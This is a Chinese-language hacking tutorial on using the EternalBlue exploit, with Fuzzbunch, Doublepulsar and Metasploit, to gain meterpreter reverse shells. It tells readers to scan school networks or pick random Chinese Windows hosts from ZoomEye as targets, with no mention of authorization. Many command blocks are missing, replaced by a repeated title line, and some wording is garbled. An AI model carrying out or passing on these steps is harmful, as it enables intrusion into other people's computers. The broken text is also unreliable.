手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

安装 MSF

Linux & Mac OS X

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

假如遇到问题,点开这个连接,然后自个想想方法……

查看是否安装成功

然后输入 msfconsole 看看装置是不是成功了……

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

这样的话就算成功了。

安装 WINE 和 winetricks

Linux

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

OSX

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

安装 Windows Python 环境

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

跟着 wizard 走完就行了……一路下一步。

复制工具包到 Windows 分区

默认 WINE 环境的虚拟磁盘在 ~/.wine/drive_c

把那个工具包里的 windows 文件夹改个名字,复制到这里去……

比如改名叫 tools,复制到 ~/.wine/drive_c/tools。

进入 Win CMD

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

如果这一步出现什么 wrong font 错误,可以试试安装 fonts-wine 包,或者用 winetricks --gui,选择默认 WINE ,安装字体,勾上 corefont。

没错的话会出现一个黑框框,就是 CMD 了,先 右键 - properties - font 调整一下字体什么的,注意确定保存的时候选第一个单选框……调到你觉得好看的字体为止。然后:

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

试一下 Win 上的 Python 有没有安装好,如果没问题就 Ctrl-D 退出。

修改 fuzzbunch 默认配置

到 ~/.wine/drive_c/tools 这里,用文本编辑器打开 fuzzbunch.xml。

修改 ResourcesDir 为 C:\tools\Resources,LogDir 为 C:\logs。

运行 fuzzbunch

再次打开 CMD,cd 到 Python 目录,然后执行:

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

如果出现这样的话环境就算是配置好了:

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

然后可以暂时退出了。

查看网络环境

本机上执行:

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

找到自己正在使用的网络,记下 IP 和 子网掩码。

安装 Zmap

Zmap 是一个快速的网络扫描器,反正就是收集信息用的。

Linux

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

OSX

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

安装好了之后 sudo zmap --version 测试一下。

扫描子网

根据你上一步得到的 IP 和子网掩码,扫描网络。

假如你的 IP 是 10.128.129.45 子网掩码 255.255.192.0,把子网掩码按照下表换成数字,然后加起来。

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

所以 255.255.192.0 = 8 + 8 + 2 = 18。要扫描的 CIDR 就是 10.128.129.45/18

然后运行:

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

-B 选项后面的是扫描速度,根据你们的内网带宽找一个合适的速度填就行。比如我们内网 100M,我就用一半的速度扫。

如果遇到 blacklist 的错误,可以去修改 /etc/zmap/blacklist.conf 这个文件,把需要扫描的内网地址注释掉:

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

如果遇到 interface 什么的错误,就用 -i <interface> 指定要使用的网卡。比如你是用 WiFi 的话就 -i wlan0。

如果遇到 get-gateway 的错误,就先运行 netstat -nr 得到网关的 IP,然后运行 sudo arp -a <网关IP> 获取他的 MAC 地址:见下图:

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

获取到网关 MAC 之后,用 -G 参数写在命令行里即可。

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

OK,开始扫描吧,这时候等着就行了。

扫描完成之后 cat 445.csv 就可以看到所有开了 445 的机器了。

如果你扫描出来文件是空的的话……那说明你的网段可能太小了。

如果你是学生,可以考虑扫描一下全校网段,一般用 10.0.0.1/8 扫描的话应该会能得到一些结果的。

如果还是不行,那就用备选方案吧……

备选方案 - Zoomeye

如果你子网扫描出来的文件是个空的的话,你也可以选择扫描互联网上的机器。

当然这时候我们就不自己用 zmap 扫了,Zoomeye 可以帮助我们。

打开:https://www.zoomeye.org/

搜索框右边的选项选主机,输入 service:microsoft-ds os:windows country:china Enter 搜索。

也可以加一个参数 city:beijing 来搜索特定城市的主机。

然后随便选几个 IP 写到 445.csv 里去吧,一行一个 IP 就行。

漏洞检测

现在用 msfconsole 打开 MSF,输入 use auxiliary/scanner/smb/smb_version 注意从现在开始就不要复制命令了,最好都手打,要习惯用 Tab 补全。

前面的 msf 提示符变成 msf auxiliary(smb_version) > 就表示进入这个扫描器的上下文了。

输入 options 查看可用的选项:

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

RHOSTS 表示要扫描额主机列表,THREADS 表示扫描线程数,一般填个 50 什么的就差不多了。如果你 RHOST 数量比小于 50 的话,你也可以填少一点。

用 set 命令设置选项:

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

输入完后再用 options 查看一下选项,确认没问题之后输入 exploit,回车开始执行 scanner.

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

执行过程中应该会有很多信息输出出来,等他运行完,输入 hosts 查看当前获得的主机资料:

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

OK,一个 Win10 一个 Win7 一个 WinServer 2008 R2。

Win 7 以上的可以不用考虑了,Win 7 和 WinServer 2008 一般来说是可以的。

如果你不放心,可以使用 auxiliary/scanner/smb/smb_ms17_010 这个扫描器做一次漏洞检测。这个就不说详细步骤了,当作练习吧,结果大概是这样的:

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

嗯,他说 Likely 嘛,一般来说 还是选 Win 7 和 Server 2008 以下的主机当作目标吧。

OK 我现在就选那台 Win 7 的 10.158.24.2 了,后面的操作都会用这个 IP,你记得换成你自己的目标哈。

Fuzzbunch 出场

用之前的命令启动 WINE CMD,用 Python 打开 fuzzbunch:

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法
  • 第一个地方输入你的目标的 IP 地址
  • 第二空 Callback IP 随便填,因为用不到,这里就填 127.0.0.1 好了
  • 第三个很重要,一定 要填 no
  • 后面如果你没有项目的话就选 0 新建一个,你下次启动想用之前的话就选 index
  • 然后文件位置什么的就都默认,一路回车下来就行

看见 fb > 字样的提示符就表示初始设置完成。

Eternalblue 攻击

Fuzzbunch 的使用方法和 MSF 其实差不多。

输入 use Eternalblue 载入攻击模块,同样注意多使用 Tab 键。

和 MSF 不一样,FB 会进行交互性的参数输入:

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

如果上面的参数(主要是 IP)没错的话,也可以输入 no 来取消交互式输入。

然后来到这一步,攻击方式一定要选 1 FB 方式:

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

然后继续跟着交互提示走,Tunnels 部分直接一路回车,开始执行后门安装:

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

如果到 Receiving response from exploit packet 这句话这里停住的话,大概率是打了补丁,你可以换个目标了。

如果是停在 Triggering free of corrupted buffer 这句的话,基本就成功了,等着就好。

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

OK,等了一会之后,Eternalblue 攻击成功。

注意观察一下这里写的目标机器的 Arch 是 32 bit 还是 64 bit,后面要用。

TCP 隧道

这一步需要你有公网 IP,如果你没有的话可以用 TCP 隧道服务来代替……比如各种基于 Ngrok 的隧道服务……

这里我就不教程了……你们自己弄好就行

我现在假设你们隧道服务商 IP 是 123.123.123.123,给你的端口是 8888,你本地的端口也开 8888,下面一步操作的时候记得把这些数字换成真实的。

提示

如果你是扫描校内网,而且校内网没有对机器互联端口做限制的话,不用 TCP 隧道也是可以的,那你就把下面教程里的所有 LHOST 填你自己的网卡 IP 即可。

MSF 监听反弹端口

在 MSF 里,使用 multi/handler。

如果你要攻击的机器是 32 位的机器:

set payload windows/meterpreter/reverse_tcp

如果是 64 位的:

set payload windows/x64/meterpreter/reverse_tcp

然后

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

LHOST 就填 127.0.0.1 就可以,因为上面我们用了隧道。

最后一个 -j 是将 exploit 放在后台运行,暂时可以不用管了。

你可以通过 jobs -l 看到所有后台任务。

生成 Shellcode DLL

在 MSF 里执行

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

上面的 {Payload} 换成你上个阶段用的 payload,然后 HOST 和 PORT 也要记得换,{ARCH} 如果是 32 位就写 x8664 位就写 x64。

你也可以分别生成两个 DLL 备用,反正以后攻击到的 32 位 64 位都有可能。

然后把这两个 DLL 复制到 ~/.wine/drive_c 目录下

双倍脉冲(Doublepulsar)注入

切换到 Wine CMD 里的 FB 平台,使用 Doublepulsar

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

然后就按照提示一路 Enter,Proto 选 SMB,x86 还是 x64 根据目标机器选。

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

这一步选 2,RunDLL。

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

DLL 位置选根据你的文件名填,比如 C:\x86.dll 或者 C:\x64.dll,然后继续 Enter。

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

当你看到这个 Success 的时候,表示注入成功。

DONE

现在切回你的 MSF 看看是不是有些 sending stage 之类的输出。

如果没有的话就把 DLL 的生成检查一遍看看参数有没有写对,然后再执行一遍上一步。

如果有输出的就输入 sessions -l 查看已经连接好的 meterpreter。

然后用 sessions -i <ID> 连上去:

手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

OK 了!后边的我就不教了,你能够输入 help 然后 Tab 看看有哪些指令。然后 -h 获取协助。

然后 https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/ 这里有一些根本的后浸透指令的解说。

其实到这一步,浸透才刚刚开始

下课!

相关新闻

历经多年发展,已成为国内好评如潮的Linux云计算运维、SRE、Devops、网络安全、云原生、Go、Python开发专业人才培训机构!